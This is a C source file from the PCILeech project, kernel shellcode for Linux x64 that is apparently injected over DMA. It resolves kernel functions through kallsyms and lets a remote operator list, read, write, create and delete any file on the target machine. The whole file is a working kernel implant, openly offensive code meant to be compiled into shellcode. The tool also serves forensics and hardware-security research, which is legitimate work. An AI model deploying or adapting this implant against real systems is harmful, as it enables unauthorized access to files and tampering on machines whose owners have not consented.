Files
pcileech/pcileech_shellcode/lx64_vfs.c
2023-09-24 17:16:39 +02:00

427 lines
14 KiB
C

// lx64_vfs.c : kernel code to support the PCILeech file system.
// Compatible with Linux x64.
//
// (c) Ulf Frisk, 2017-2021
// Author: Ulf Frisk, pcileech@frizk.net
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_vfs.c
// ml64 lx64_common_a.asm /Felx64_vfs.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_vfs.obj lx64_common.obj
// shellcode64.exe -o lx64_vfs.exe
//
#include "lx64_common.h"
//-----------------------------------------------------------------------------
// Core defines and typedefs shared between kernel implants and pcileech.
//-----------------------------------------------------------------------------
#define VFS_OP_MAGIC 0x79e720ad93aa130f
#define VFS_OP_CMD_LIST_DIRECTORY 1
#define VFS_OP_CMD_WRITE 2
#define VFS_OP_CMD_READ 3
#define VFS_OP_CMD_CREATE 4
#define VFS_OP_CMD_DELETE 5
#define VFS_FLAGS_FILE_NORMAL 0x01
#define VFS_FLAGS_FILE_DIRECTORY 0x02
#define VFS_FLAGS_FILE_SYMLINK 0x04
#define VFS_FLAGS_FILE_OTHER 0x08
#define VFS_FLAGS_UNICODE 0x10
#define VFS_FLAGS_EXIST_FILE 0x20
#define VFS_FLAGS_TRUNCATE_ON_WRITE 0x40
#define VFS_FLAGS_APPEND_ON_WRITE 0x80
typedef struct tdVFS_OPERATION {
QWORD magic;
QWORD op;
QWORD flags;
CHAR szFileName[MAX_PATH];
WCHAR wszFileName[MAX_PATH];
QWORD offset;
QWORD cb;
BYTE pb[];
} VFS_OPERATION, *PVFS_OPERATION;
typedef struct tdVFS_RESULT_FILEINFO {
QWORD flags;
QWORD tAccessOpt;
QWORD tModifyOpt;
QWORD tCreateOpt;
QWORD dbg1;
QWORD dbg2;
QWORD cb;
WCHAR wszFileName[MAX_PATH];
} VFS_RESULT_FILEINFO, *PVFS_RESULT_FILEINFO;
//-----------------------------------------------------------------------------
// Other required defines and typedefs.
//-----------------------------------------------------------------------------
#define O_RDONLY 00000000
#define O_WRONLY 00000001
#define O_CREAT 00000100
#define O_TRUNC 00001000
#define O_APPEND 00002000
#define O_DIRECTORY 00200000
#define O_NOATIME 01000000
#define DT_UNKNOWN 0
#define DT_FIFO 1
#define DT_CHR 2
#define DT_DIR 4
#define DT_BLK 6
#define DT_REG 8
#define DT_LNK 10
#define DT_SOCK 12
#define DT_WHT 14
#define AT_FDCWD -100
#define AT_NO_AUTOMOUNT 0x800
#define STATX_BASIC_STATS 0x000007ffU
struct timespec {
QWORD tv_sec; // seconds
QWORD tv_nsec; // nanoseconds
};
// kstat struct - kernels 4.10 and earlier.
struct kstat_4_10 {
QWORD ino;
DWORD dev;
DWORD mode;
DWORD nlink;
DWORD uid;
DWORD gid;
DWORD rdev;
QWORD size; // offset 0x20
struct timespec atime;
struct timespec mtime;
struct timespec ctime;
QWORD blksize;
QWORD blocks;
QWORD _pcileech_dummy_extra[2];
};
// kstat struct - kernels 4.11 and later.
struct kstat_4_11 {
DWORD result_mask;
DWORD mode;
DWORD nlink;
DWORD blksize;
QWORD attributes;
QWORD attributes_mask;
QWORD ino;
DWORD dev;
DWORD rdev;
DWORD uid;
DWORD gid;
QWORD size;
struct timespec atime;
struct timespec mtime;
struct timespec ctime;
struct timespec btime;
QWORD blocks;
QWORD _pcileech_dummy_extra[4];
};
//-----------------------------------------------------------------------------
// Functions below.
//-----------------------------------------------------------------------------
typedef struct tdFN2 {
QWORD memcpy;
QWORD memset;
QWORD filp_close;
QWORD filp_open;
QWORD vfs_read;
QWORD vfs_write;
QWORD yield;
QWORD iterate_dir_opt;
QWORD vfs_readdir_opt;
QWORD vfs_stat_opt;
QWORD vfs_statx_opt;
struct {
QWORD sys_unlink;
QWORD getname;
QWORD getname_kernel;
QWORD do_unlinkat;
} rm;
QWORD kern_path_opt;
QWORD path_put_opt;
QWORD vfs_getattr_nosec_opt;
QWORD kernel_read;
QWORD kernel_write;
} FN2, *PFN2;
typedef struct tdDIR_CONTEXT {
QWORD actor;
QWORD pos;
} DIR_CONTEXT;
typedef struct tdDIR_CONTEXT_EXTENDED {
DIR_CONTEXT ctx;
PKMDDATA pk;
PFN2 fn;
PVFS_OPERATION pop;
QWORD buf[];
} DIR_CONTEXT_EXTENDED, *PDIR_CONTEXT_EXTENDED;
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
QWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)];
NAMES[i++] = (QWORD)(CHAR[]) { 'm', 'e', 'm', 'c', 'p', 'y', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'm', 'e', 'm', 's', 'e', 't', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'f', 'i', 'l', 'p', '_', 'c', 'l', 'o', 's', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'f', 'i', 'l', 'p', '_', 'o', 'p', 'e', 'n', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 'r', 'e', 'a', 'd', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 'w', 'r', 'i', 't', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'y', 'i', 'e', 'l', 'd', 0 };
if(!LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, i)) { return FALSE; }
// optional lookup 1#: (due to kernel version differences)
pfn2->iterate_dir_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'i', 't', 'e', 'r', 'a', 't', 'e', '_', 'd', 'i', 'r', 0 }));
pfn2->vfs_readdir_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 'r', 'e', 'a', 'd', 'd', 'i', 'r', 0 }));
if(!pfn2->iterate_dir_opt && !pfn2->vfs_readdir_opt) { return FALSE; }
// optional lookup 2#:
pfn2->vfs_stat_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 0 }));
pfn2->vfs_statx_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 'x', 0 }));
if(!pfn2->vfs_stat_opt && !pfn2->vfs_statx_opt) { return FALSE; }
pfn2->kern_path_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'k', 'e', 'r', 'n', '_', 'p', 'a', 't', 'h', 0 }));
pfn2->path_put_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'p', 'a', 't', 'h', '_', 'p', 'u', 't', 0 }));
pfn2->vfs_getattr_nosec_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 'g', 'e', 't', 'a', 't', 't', 'r', '_', 'n', 'o', 's', 'e', 'c', 0 }));
// optional lookup #3
pfn2->rm.sys_unlink = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 0 }));
pfn2->rm.getname = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'g', 'e', 't', 'n', 'a', 'm', 'e', 0 }));
pfn2->rm.getname_kernel = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'g', 'e', 't', 'n', 'a', 'm', 'e', '_', 'k', 'e', 'r', 'n', 'e', 'l', 0 }));
pfn2->rm.do_unlinkat = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'd', 'o', '_', 'u', 'n', 'l', 'i', 'n', 'k', 'a', 't', 0 }));
if(!pfn2->rm.sys_unlink && !(pfn2->rm.getname && pfn2->rm.do_unlinkat)) { return FALSE; }
// optional kernel vfs read/write #4:
pfn2->kernel_read = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'k', 'e', 'r', 'n', 'e', 'l', '_', 'r', 'e', 'a', 'd', 0 }));
pfn2->kernel_write = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'k', 'e', 'r', 'n', 'e', 'l', '_', 'w', 'r', 'i', 't', 'e', 0 }));
return TRUE;
}
static int VfsList_CallbackIterateDir(PDIR_CONTEXT_EXTENDED ctx, const char *name, int len, unsigned __int64 pos, unsigned __int64 ino, unsigned int d_type)
{
UNREFERENCED_PARAMETER(ino);
UNREFERENCED_PARAMETER(pos);
QWORD i;
PVFS_RESULT_FILEINFO pfi;
// note: function signature of filldir_t signature changed from returning int
// to returning bool in kernel 6.1. set_memory_rox was added in kernel 6.2 -
// since this is close enough use it. For kernel 6.2 iterate will fail after
// first item, but it's a small enough issue to ignore for now.
int retval = ctx->pk->fnlx.set_memory_rox ? 1 : 0;
if(ctx->pk->dataOutExtraLength + sizeof(VFS_RESULT_FILEINFO) > ctx->pk->dataOutExtraLengthMax) {
return retval;
}
pfi = (PVFS_RESULT_FILEINFO)(ctx->pk->DMAAddrVirtual + ctx->pk->dataOutExtraOffset + ctx->pk->dataOutExtraLength);
switch(d_type) {
case DT_REG:
pfi->flags = VFS_FLAGS_FILE_NORMAL;
break;
case DT_DIR:
pfi->flags = VFS_FLAGS_FILE_DIRECTORY;
break;
case DT_LNK:
pfi->flags = VFS_FLAGS_FILE_SYMLINK;
break;
default:
pfi->flags = VFS_FLAGS_FILE_OTHER;
break;
}
for(i = 0; (i < len) && (i < MAX_PATH - 1); i++) {
pfi->wszFileName[i] = name[i];
}
pfi->wszFileName[i] = 0;
ctx->pk->dataOutExtraLength += sizeof(VFS_RESULT_FILEINFO);
return retval;
}
QWORD UnixToWindowsFiletime(QWORD tv) {
QWORD result = 11644473600ULL; // EPOCH DIFF
result += tv;
result *= 10000000ULL;
return result;
}
VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
QWORD i, o, p, cfi, result;
BYTE path[0x800];
CHAR sz[2 * MAX_PATH];
struct kstat_4_10 kstat_4_10;
struct kstat_4_11 kstat_4_11;
PVFS_RESULT_FILEINFO pfi;
cfi = pk->dataOutExtraLength / sizeof(VFS_RESULT_FILEINFO);
for(o = 0; o < MAX_PATH; o++) {
if(0 == pop->szFileName[o]) { break; }
sz[o] = pop->szFileName[o];
}
if(o && (sz[o - 1] != '/')) {
sz[o] = '/';
o++;
}
pk->dataOut[2] = cfi;
for(p = 0; p < cfi; p++) {
pfi = (PVFS_RESULT_FILEINFO)(pk->DMAAddrVirtual + pk->dataOutExtraOffset + p * sizeof(VFS_RESULT_FILEINFO));
// set filename
for(i = 0; i < MAX_PATH; i++) {
if(0 == pfi->wszFileName[i]) { break; }
sz[o + i] = (CHAR)pfi->wszFileName[i];
}
sz[o + i] = 0;
if(pfn2->vfs_statx_opt) { // 4.11 kernels and later.
result = 1;
// 5.12 kernels and later will fail vfs_statx - use alternative method first:
if(pfn2->kern_path_opt && pfn2->vfs_getattr_nosec_opt) {
result = SysVCall(pfn2->kern_path_opt, sz, AT_NO_AUTOMOUNT, path);
if(0 == result) {
result = SysVCall(pfn2->vfs_getattr_nosec_opt, path, &kstat_4_11, STATX_BASIC_STATS, 0);
if(pfn2->path_put_opt) { SysVCall(pfn2->path_put_opt, path); }
}
} else {
// This will fail on kernel 5.18 and later due to signature change of vfs_statx
result = SysVCall(pfn2->vfs_statx_opt, AT_FDCWD, sz, AT_NO_AUTOMOUNT, &kstat_4_11, STATX_BASIC_STATS);
}
if(0 == result) {
pfi->cb = kstat_4_11.size;
pfi->tAccessOpt = UnixToWindowsFiletime(kstat_4_11.atime.tv_sec);
pfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_11.ctime.tv_sec);
pfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_11.mtime.tv_sec);
}
} else if(pfn2->vfs_stat_opt) { // 4.10 kernels and earlier.
result = SysVCall(pfn2->vfs_stat_opt, sz, &kstat_4_10);
if(0 == result) {
pfi->cb = kstat_4_10.size;
pfi->tAccessOpt = UnixToWindowsFiletime(kstat_4_10.atime.tv_sec);
pfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_10.ctime.tv_sec);
pfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_10.mtime.tv_sec);
}
}
if(0 == (p % 50)) { SysVCall(pfn2->yield); } // yield at intervals to avoid problems...
}
}
STATUS VfsList(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
DIR_CONTEXT_EXTENDED dce;
QWORD hFile;
hFile = SysVCall(pfn2->filp_open, pop->szFileName, O_RDONLY | O_DIRECTORY | O_NOATIME, 0);
if(hFile > 0xffffffff00000000) {
return STATUS_FAIL_FILE_CANNOT_OPEN;
}
WinCallSetFunction((QWORD)VfsList_CallbackIterateDir);
dce.ctx.actor = (QWORD)WinCall;
dce.ctx.pos = 0;
dce.fn = pfn2;
dce.pk = pk;
dce.pop = pop;
if(pfn2->iterate_dir_opt) {
// use iterate_dir (kernel >= 3.11)
pk->dataOut[1] = SysVCall(pfn2->iterate_dir_opt, hFile, &dce);
} else if(pfn2->vfs_readdir_opt) {
// use vfs_readdir (kernel <= 3.10)
pk->dataOut[1] = SysVCall(pfn2->vfs_readdir_opt, hFile, WinCall, &dce);
}
SysVCall(pfn2->filp_close, hFile, NULL);
SysVCall(pfn2->yield);
VfsList_SetSizeTime(pk, pfn2, pop);
return STATUS_SUCCESS;
}
STATUS VfsDelete(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
UNREFERENCED_PARAMETER(pk);
QWORD ptr, result = 1;
if(pfn2->rm.sys_unlink) {
result = SysVCall(pfn2->rm.sys_unlink, pop->szFileName);
} else if(pfn2->rm.getname_kernel && pfn2->rm.do_unlinkat) {
ptr = SysVCall(pfn2->rm.getname_kernel, pop->szFileName);
result = SysVCall(pfn2->rm.do_unlinkat, AT_FDCWD, ptr);
} else if(pfn2->rm.getname && pfn2->rm.do_unlinkat) {
ptr = SysVCall(pfn2->rm.getname, pop->szFileName);
result = SysVCall(pfn2->rm.do_unlinkat, AT_FDCWD, ptr);
}
return result ? STATUS_FAIL_ACTION : STATUS_SUCCESS;
}
STATUS VfsRead(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
QWORD hFile;
hFile = SysVCall(pfn2->filp_open, pop->szFileName, O_RDONLY | O_NOATIME, 0);
if(hFile > 0xffffffff00000000) {
return STATUS_FAIL_FILE_CANNOT_OPEN;
}
pk->dataOutExtraLength = SysVCall((pfn2->kernel_read ? pfn2->kernel_read : pfn2->vfs_read), hFile, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax, &pop->offset);
SysVCall(pfn2->filp_close, hFile, NULL);
return (pk->dataOutExtraLength <= pk->dataOutExtraLengthMax) ? STATUS_SUCCESS : STATUS_FAIL_ACTION;
}
STATUS VfsWrite(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
UNREFERENCED_PARAMETER(pk);
QWORD hFile, flags = 0, result;
flags |= O_WRONLY | O_NOATIME;
flags |= (pop->flags & VFS_FLAGS_TRUNCATE_ON_WRITE) ? O_TRUNC : 0;
flags |= (pop->flags & VFS_FLAGS_APPEND_ON_WRITE) ? O_APPEND : 0;
hFile = SysVCall(pfn2->filp_open, pop->szFileName, flags, 0);
if(hFile > 0xffffffff00000000) {
return STATUS_FAIL_FILE_CANNOT_OPEN;
}
result = SysVCall((pfn2->kernel_write ? pfn2->kernel_write : pfn2->vfs_write), hFile, pop->pb, pop->cb, &pop->offset);
SysVCall(pfn2->filp_close, hFile, NULL);
return result ? STATUS_FAIL_ACTION : STATUS_SUCCESS;
}
STATUS VfsCreate(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
UNREFERENCED_PARAMETER(pk);
QWORD hFile;
hFile = SysVCall(pfn2->filp_open, pop->szFileName, O_CREAT | O_WRONLY | O_TRUNC, 0x1ff /*-rwxrwxrwx*/);
if(hFile > 0xffffffff00000000) {
return STATUS_FAIL_FILE_CANNOT_OPEN;
}
SysVCall(pfn2->filp_close, hFile, NULL);
return STATUS_SUCCESS;
}
VOID c_EntryPoint(PKMDDATA pk)
{
PVFS_OPERATION pop;
FN2 fn2;
// initialize kernel functions
if(!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
}
// setup references to in/out data and check validity
pop = (PVFS_OPERATION)(pk->DMAAddrVirtual + pk->dataInExtraOffset);
if((pk->dataInExtraLength < sizeof(VFS_OPERATION)) || (pop->magic != VFS_OP_MAGIC) || (pop->flags & VFS_FLAGS_UNICODE)) {
pk->dataOut[0] = STATUS_FAIL_SIGNATURE_NOT_FOUND;
return;
}
// take action
if(pop->op == VFS_OP_CMD_LIST_DIRECTORY) {
pk->dataOut[0] = VfsList(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_READ) {
pk->dataOut[0] = VfsRead(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_WRITE) {
pk->dataOut[0] = VfsWrite(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_CREATE) {
pk->dataOut[0] = VfsCreate(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_DELETE) {
pk->dataOut[0] = VfsDelete(pk, &fn2, pop);
return;
}
}